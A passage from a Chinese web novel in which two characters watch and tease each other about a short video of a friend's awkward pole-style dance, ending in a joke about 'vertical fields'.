夏行舒目瞪口呆,一脸见了鬼地扭头看盛珣。 盛珣倒不觉得这有什么,回头迎上了夏行舒的视线,笑道:“挺可爱的。” 这个是盛珣的实话。 视频其实挺短的,不到一分钟的样子,跳舞的方诺庭一看就没什么舞蹈底子,但是出奇地很放得开,什么扭胯摆腰的动作都做的出来,观众起哄的声音就像是他的兴奋剂,台下越起哄他摇的越起劲。 就衬得在旁边充当钢管的夏行舒非常僵硬和呆滞。 整个人都像是已经灵魂出窍了,只有旁边的方诺庭不小心蹭到他的时候才忍不住狠狠翻一个白眼,摆出一副碰到了什么脏东西的表情。 “这是说我还是说方诺庭?” 对不起,夏老师就是这么一个执拗和较真的人类。 盛珣认真想了想,道:“你吧,方老师比较专业。” 夏行舒不太满意这个答案。 “夏老师也很专业,只是比较专注于垂直领域。” 盛同学虚心请教:“垂直领域是怎么在这个视频里体现的?” 夏行舒沉吟半响,科普道:“垂直领域是指只干这个,其他的不管,换言之,我只要当好钢就行。” “.......” 盛同学笑的遗憾离场。